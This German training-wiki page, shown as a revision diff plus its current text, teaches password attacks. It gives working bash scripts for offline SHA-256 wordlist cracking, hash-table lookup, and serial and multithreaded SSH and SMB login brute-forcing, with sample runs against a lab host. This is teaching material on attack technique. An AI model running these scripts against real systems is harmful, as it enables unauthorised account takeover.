Passwort Angriffe Prinzip: Unterschied zwischen den Versionen
| (6 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
| − | = | + | =Offline gegen Hash= |
| + | Offline-Angriff gegen einen einzelnen Hash. Jedes Wort der Liste wird zur Laufzeit gehasht und mit dem Ziel-Hash verglichen - langsam, da pro Versuch ein sha256sum läuft. | ||
| + | |||
*wget https://xinux.de/downloads/bad-passwords | *wget https://xinux.de/downloads/bad-passwords | ||
| − | *cat pw-crack-offline.sh | + | *cat pw-crack-offline.sh |
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
#!/bin/bash | #!/bin/bash | ||
| Zeile 15: | Zeile 17: | ||
done < $2 | done < $2 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
| − | * ./pw-crack-offline.sh | + | *./pw-crack-offline.sh cd293be6cea034bd45a0352775a219ef5dc7825ce55d1f7dae9762d80ce64411 bad-passwords |
Treffer: whatever | Treffer: whatever | ||
| − | =Hash Tabelle= | + | =Hash-Tabelle= |
| + | Die Hashes liegen vorberechnet als Tabelle vor (Format passwort:hash). Der Angriff vergleicht nur noch und spart sich das Hashen pro Durchlauf - schneller, dafür muss die Tabelle vorher erzeugt werden. | ||
| + | |||
*wget https://xinux.de/downloads/bad-passwords.hash | *wget https://xinux.de/downloads/bad-passwords.hash | ||
*cat pw-crack-offline-hash.sh | *cat pw-crack-offline-hash.sh | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| − | |||
#!/bin/bash | #!/bin/bash | ||
HASH=$1 | HASH=$1 | ||
while read LINE | while read LINE | ||
do | do | ||
| − | + | PW_HS=$(echo $LINE | cut -f 2 -d :) | |
| − | + | if [[ $PW_HS == $HASH ]] | |
then | then | ||
PW=$(echo $LINE | cut -f 1 -d :) | PW=$(echo $LINE | cut -f 1 -d :) | ||
echo "Treffer: $PW" | echo "Treffer: $PW" | ||
exit | exit | ||
| − | + | fi | |
| − | fi | ||
done < $2 | done < $2 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
| − | *./pw-crack-offline-hash.sh | + | *./pw-crack-offline-hash.sh ba22bae4d286f37a07e800585b8acba09add0e2a370c6ea5b2b354f859d8c12d bad-passwords.hash |
Treffer: lovely | Treffer: lovely | ||
| − | = | + | =SSH-Hack= |
| + | Online-Angriff: kein Hash, sondern es wird live gegen den Dienst angemeldet. Jeder Versuch erzeugt Netzwerkverkehr und taucht im Log auf — laut und langsam. | ||
| + | |||
*sudo apt install sshpass | *sudo apt install sshpass | ||
*cat ssh-pass-hack.sh | *cat ssh-pass-hack.sh | ||
| Zeile 58: | Zeile 62: | ||
done < "$WORTLISTE" | done < "$WORTLISTE" | ||
</syntaxhighlight> | </syntaxhighlight> | ||
| − | ./ssh-pass-hack.sh 192.168.16.213 martha bad-passwords | + | *./ssh-pass-hack.sh 192.168.16.213 martha bad-passwords |
Treffer: martha:basketball | Treffer: martha:basketball | ||
| − | = | + | |
| + | =SMB-Hack= | ||
| + | Wie der SSH-Hack, nur gegen den SMB-Dienst. Gleiche Logik, anderer Dienst. | ||
| + | |||
*cat smb-pass-hack.sh | *cat smb-pass-hack.sh | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Zeile 70: | Zeile 77: | ||
while read PW | while read PW | ||
do | do | ||
| − | if smbclient -L " | + | if smbclient -L "$HOST" -U "$USER%$PW" -m SMB3 2>/dev/null >/dev/null |
then | then | ||
echo "Treffer: $USER:$PW" | echo "Treffer: $USER:$PW" | ||
| Zeile 77: | Zeile 84: | ||
done < "$WORTLISTE" | done < "$WORTLISTE" | ||
</syntaxhighlight> | </syntaxhighlight> | ||
| − | ./smb-pass-hack.sh 192.168.16.213 martha bad-passwords | + | *./smb-pass-hack.sh 192.168.16.213 martha bad-passwords |
| + | Treffer: martha:basketball | ||
| + | |||
| + | =Multithread Methode= | ||
| + | Statt die Wortliste seriell abzuarbeiten, werden mit xargs -P mehrere Anmeldeversuche parallel gestartet - deutlich schneller. Die eigentliche Anmeldung steckt in einer Funktion, die exportiert und von xargs pro Passwort aufgerufen wird. Achtung: zu viele Threads können beim Ziel einen Account-Lockout auslösen. | ||
| + | |||
| + | *cat ssh-pass-hack-mt.sh | ||
| + | <syntaxhighlight lang="bash"> | ||
| + | #!/bin/bash | ||
| + | HOST="$1" | ||
| + | USER="$2" | ||
| + | WORTLISTE="$3" | ||
| + | THREADS=16 # Anzahl paralleler Jobs | ||
| + | try_pw() { | ||
| + | PW="$1" | ||
| + | if sshpass -p "$PW" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o PreferredAuthentications=password "$USER@$HOST" exit >/dev/null 2>&1 | ||
| + | then | ||
| + | echo "Treffer: $USER:$PW" | ||
| + | fi | ||
| + | } | ||
| + | export -f try_pw | ||
| + | export HOST USER | ||
| + | cat "$WORTLISTE" | xargs -P $THREADS -I{} bash -c 'try_pw "$@"' _ {} | ||
| + | </syntaxhighlight> | ||
| + | *./ssh-pass-hack-mt.sh 192.168.16.213 martha bad-passwords | ||
Treffer: martha:basketball | Treffer: martha:basketball | ||
Aktuelle Version vom 25. Juni 2026, 06:19 Uhr
Offline gegen Hash
Offline-Angriff gegen einen einzelnen Hash. Jedes Wort der Liste wird zur Laufzeit gehasht und mit dem Ziel-Hash verglichen - langsam, da pro Versuch ein sha256sum läuft.
- wget https://xinux.de/downloads/bad-passwords
- cat pw-crack-offline.sh
#!/bin/bash
HASH=$1
while read LINE
do
PW_HS=$(echo $LINE | sha256sum | cut -f 1 -d " ")
if [[ $PW_HS == $HASH ]]
then
echo "Treffer: $LINE"
exit
fi
done < $2
- ./pw-crack-offline.sh cd293be6cea034bd45a0352775a219ef5dc7825ce55d1f7dae9762d80ce64411 bad-passwords
Treffer: whatever
Hash-Tabelle
Die Hashes liegen vorberechnet als Tabelle vor (Format passwort:hash). Der Angriff vergleicht nur noch und spart sich das Hashen pro Durchlauf - schneller, dafür muss die Tabelle vorher erzeugt werden.
- wget https://xinux.de/downloads/bad-passwords.hash
- cat pw-crack-offline-hash.sh
#!/bin/bash
HASH=$1
while read LINE
do
PW_HS=$(echo $LINE | cut -f 2 -d :)
if [[ $PW_HS == $HASH ]]
then
PW=$(echo $LINE | cut -f 1 -d :)
echo "Treffer: $PW"
exit
fi
done < $2
- ./pw-crack-offline-hash.sh ba22bae4d286f37a07e800585b8acba09add0e2a370c6ea5b2b354f859d8c12d bad-passwords.hash
Treffer: lovely
SSH-Hack
Online-Angriff: kein Hash, sondern es wird live gegen den Dienst angemeldet. Jeder Versuch erzeugt Netzwerkverkehr und taucht im Log auf — laut und langsam.
- sudo apt install sshpass
- cat ssh-pass-hack.sh
#!/bin/bash
# einfaches SSH-PW-Brute wie hydra (Lab)
HOST=$1
USER=$2
WORTLISTE=$3
while read PW
do
if sshpass -p "$PW" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o PreferredAuthentications=password "$USER@$HOST" "exit" 2>/dev/null
then
echo "Treffer: $USER:$PW"
exit
fi
done < "$WORTLISTE"
- ./ssh-pass-hack.sh 192.168.16.213 martha bad-passwords
Treffer: martha:basketball
SMB-Hack
Wie der SSH-Hack, nur gegen den SMB-Dienst. Gleiche Logik, anderer Dienst.
- cat smb-pass-hack.sh
#!/bin/bash
# einfaches SMB-PW-Brute wie hydra (Lab)
HOST=$1
USER=$2
WORTLISTE=$3
while read PW
do
if smbclient -L "$HOST" -U "$USER%$PW" -m SMB3 2>/dev/null >/dev/null
then
echo "Treffer: $USER:$PW"
exit
fi
done < "$WORTLISTE"
- ./smb-pass-hack.sh 192.168.16.213 martha bad-passwords
Treffer: martha:basketball
Multithread Methode
Statt die Wortliste seriell abzuarbeiten, werden mit xargs -P mehrere Anmeldeversuche parallel gestartet - deutlich schneller. Die eigentliche Anmeldung steckt in einer Funktion, die exportiert und von xargs pro Passwort aufgerufen wird. Achtung: zu viele Threads können beim Ziel einen Account-Lockout auslösen.
- cat ssh-pass-hack-mt.sh
#!/bin/bash
HOST="$1"
USER="$2"
WORTLISTE="$3"
THREADS=16 # Anzahl paralleler Jobs
try_pw() {
PW="$1"
if sshpass -p "$PW" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o PreferredAuthentications=password "$USER@$HOST" exit >/dev/null 2>&1
then
echo "Treffer: $USER:$PW"
fi
}
export -f try_pw
export HOST USER
cat "$WORTLISTE" | xargs -P $THREADS -I{} bash -c 'try_pw "$@"' _ {}
- ./ssh-pass-hack-mt.sh 192.168.16.213 martha bad-passwords
Treffer: martha:basketball